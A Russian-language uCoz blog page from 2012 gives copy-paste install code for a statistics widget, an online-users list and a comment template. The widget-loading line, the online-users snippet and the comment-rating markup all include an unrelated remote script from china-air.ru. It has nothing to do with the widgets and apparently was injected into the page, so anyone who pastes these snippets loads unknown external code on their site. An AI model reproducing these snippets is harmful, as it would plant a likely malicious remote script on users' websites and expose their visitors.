Меню сайта
АКЦИЯ!!!
Категории раздела
Сервис
Translate my page
Выбрать язык / Select language:
Бесплатное отправление смс сообщений!
Поиск
Календарь
Архив записей
Наш опрос
Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реклама
Главная » 2012 » Декабрь » 16
Цвет линии зелёный, думаю для светлых дизайнов будет как раз.
Установка:
1) В блок со статистикой ставим в любое место это:
Code
<div id="Statku"></div>
2) Ниже этого ставим:
Code
<script type="text/javascript" src="http://bambun.ru/css_js/statistika.js"></script><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><link type="text/css" rel="StyleSheet" href="http://bambun.ru/css_js/statistika.css">
Описание: Новый симпотный вид кто онлайн для ucoz
Установка:
Ставим в блок куда вам надо данный ниже код:
Code
<div style="margin:-5px; margin-top:5px; padding:0px; border-top:1px solid #ccc; background:#f3f3f3; max-height:160px; overflow:auto; overflow-x:hidden;" id="userList">
<div style="clear:both"></div>
</div><script type="text/javascript">
$.get('/index/62',function(e){ fuu = $('cmd[p="content"]',e).text();
$('a',fuu).each(function(i){
$('#userList').prepend('<div style="margin-top:6px; margin-bottom:-16px; padding-right:6px;" align="right"><img style="margin-right:5px; cursor:pointer" onclick="alert(\'Разрабатываем!\');" src="http://bambun.ru/images/pmver2.gif" border="0" /><img style="cursor:pointer" onclick="alert(\'Разрабатываем!\');" src="http://bambun.ru/images/12.gif" border="0" /></div><a class="userList '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a><div style="clear:both"></div>');
});
});
</script><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><style>
a.userList:link, a.userList:visited, a.userList:active {display:block; text-decoration:none; border-top:1px solid #ccc; margin-top:-1px; background:#f5f3f3; padding:5px 5px;}
a.userList:hover {text-decoration:none; background:#fff;}
</style>
Описание: Новый вид комментария для uCoz с уголком. Небольшой вариант, вида комментарий, в котором установлено изображение уголка и прописаны стили, отвечающие за тень объекта.
Установка:
- заходим в админ панель сайта Дизайн => Новости сайта => Страница материала и комментария к нему
ищем код
и заменяем его на
Code
<ul class="cell_coment">
$COM_BODY$
</ul>
- теперь заходим Дизайн => Комментарии => Вид комментариев и устанавливаем следующий код
Code
<li>
<div class="avatar"><?if($USERNAME$)?><a href="$PROFILE_URL$"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?></a><?else?><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?><?endif?></div>
<div class="coment_info">
<span class="tip"></span>
<div class="coment_os">
<div class="coment_name left"><?if($USERNAME$)?><a href="$PROFILE_URL$">$USERNAME$</a><?else?>$NAME$<?endif?> <span style="">($DATE$ $TIME$)</span></div><div class="coment_nomer right"><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$">$NUMBER$</a></div><div class="clear"></div>
<div class="coment_message left">$MESSAGE$</div>
<div class="coment_rating right"><?if($COMMENT_RATING$<0)?>$COMMENT_RATING$ <?else?><?if($COMMENT_RATING$=0)?><span style="color:gray;">$COMMENT_RATING$ </span><?else?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><span class="myWinSuccess">+$COMMENT_RATING$</span><?endif?><?endif?><?if($GOOD_COMMENT_URL$)?><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_01.gif" width="10" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_01.gif" width="10" border="0" align="absmiddle" title="Плохой пост"></a><?else?><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_02.png" align="absmiddle" width="10" border="0" title="Хороший пост"> <img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_02.png" width="10" align="absmiddle" border="0" title="Плохой пост"><?endif?> $MODER_PANEL$</div>
</div>
</div>
</li>
- и прописываем в css следующий код
Code
/* ВИД КОММЕНТАРИЯ
===================================================*/
.cell_coment {
list-style: none;
padding: 0px;
margin: 0px;
}
.cell_coment li {
position: relative;
padding-left: 60px;
width: 500px;
}
.coment_info {
position: relative;
text-align:justify;
color: #555;
background: #fff;
border: 1px solid #C9C9C9;
padding: 10px;
margin-bottom: 30px;
}
.coment_os {
overflow: hidden;
}
.coment_name,
.coment_nomer {
padding-bottom: 5px;
}
.coment_message {
width: 100%;
border-top: 1px solid #C9C9C9;
border-bottom: 1px solid #C9C9C9;
padding: 5px 0px;
}
.coment_rating {
padding-top: 5px;
}
.coment_name,
.coment_nomer,
.coment_rating {
font:10px Verdana,Arial,Helvetica, sans-serif; color:#999;
font-weight: bold;
}
.avatar a:hover,
.avatar {
position: absolute;
...
Читать дальше »